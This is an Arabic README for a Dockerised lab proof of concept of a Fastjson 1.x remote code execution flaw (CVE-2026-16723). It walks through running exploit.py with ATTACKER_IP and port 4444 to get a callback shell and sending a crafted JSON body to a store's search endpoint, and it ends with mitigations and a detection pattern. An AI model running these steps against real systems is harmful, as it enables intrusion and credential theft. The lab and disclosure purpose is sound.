CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★

نظرة عامة

CVE-2026-16723 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في Fastjson 1.x (1.2.68 – 1.2.83). عندما يقوم Fastjson بتحليل JSON يتحكم فيه المهاجم، يتم تحويل قيمة @type المُصمَّمة إلى بحث عن مورد فئة داخل checkAutoType. في ملف Spring Boot التنفيذي fat-JAR، يقوم محمّل الفئات بحلّ ذلك الاسم كعنوان URL من نوع jar:http:// ويجلب ملف JAR بعيد (SSRF)، ثم يحمّل فئة تحمل تعليق @JSONType رغم أن AutoType معطّل. ولأن JDK / Tomcat الحديث يرفض الاسم الثنائي jar:http://، فإن النسخة الموثوقة تزرع ملف JAR في ذاكرة JVM المؤقتة وتعيد قراءته عبر jar:file:/proc/self/fd/N، فتُعرَّف الفئة ويُنفَّذ مُهيّئها الساكن، مما يمنح تنفيذ التعليمات البرمجية. يبقى AutoType معطّلاً ولا حاجة إلى أي gadget في مسار الفئات.

الإصدارات المتأثرة

الفئة	الإصدار
قابل للاستغلال	Fastjson 1.2.68 ≤ الإصدار ≤ 1.2.83
مُرقَّع	الترقية إلى Fastjson 2.x (لا يوجد إصدار 1.x مُصلَح)

التأثير

• تنفيذ تعليمات برمجية عن بُعد بصلاحيات حساب الخدمة
• كشف الأسرار / بيانات الاعتماد من المضيف والبيئة
• اختراق كامل للتطبيق المتأثر

البيئة

هدف المختبر هو متجر عام (Northwind Store) تربط واجهة البحث الخاصة به جسم الطلب باستخدام Fastjson. كل شيء هو الإعداد الافتراضي لـ Fastjson: SafeMode معطّل، AutoType معطّل، ومُحزَّم كـ Spring Boot fat-JAR.

docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723

الشرط المسبق	الحالة في هذا المختبر
Fastjson 1.2.68 – 1.2.83	1.2.83
Spring Boot fat-JAR تنفيذي	نعم
مسار تحليل JSON بدون مصادقة	POST /api/products/search
SafeMode / AutoType	افتراضي (كلاهما معطّل)

إثبات المفهوم (PoC)

يعمل المهاجم والهدف على نفس شبكة Docker الجسرية، لذا يصل الهدف إلى المهاجم كاتصال صادر (لا يُنشر أي منفذ إضافي).

الخطوة 1. تأكيد أن الهدف يعمل

curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

الخطوة 2. تشغيل الاستغلال على جهاز المهاجم

يقوم exploit.py ببناء ملف JAR الحمولة، وتقديمه، وبدء مستمع، وطباعة جسم الطلب. لا يُطلب سوى عنوان الاستدعاء.

python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

الخطوة 3. إرسال الحمولة

الصق الجسم المطبوع في نقطة نهاية البحث (Burp Repeater أو curl) ثم أرسله. طلب البحث ميزة عادية؛ فقط جسم JSON الخاص به مُصمَّم.

curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

الخطوة 4. تأكيد النتيجة

تُنفَّذ التعليمات البرمجية بصلاحيات حساب الخدمة. استرجع العَلَم عبر الصدفة التي حصلت عليها:

whoami

التخفيف

• الترقية إلى Fastjson 2.x
• أو تشغيل com.alibaba:fastjson:1.2.83_noneautotype
• أو بدء JVM مع -Dfastjson.parser.safeMode=true
• الكشف: قيم @type في JSON التي تحتوي على أنماط jar:http أو jar:file / /proc/self/fd

التحليل

• KR:
• EN: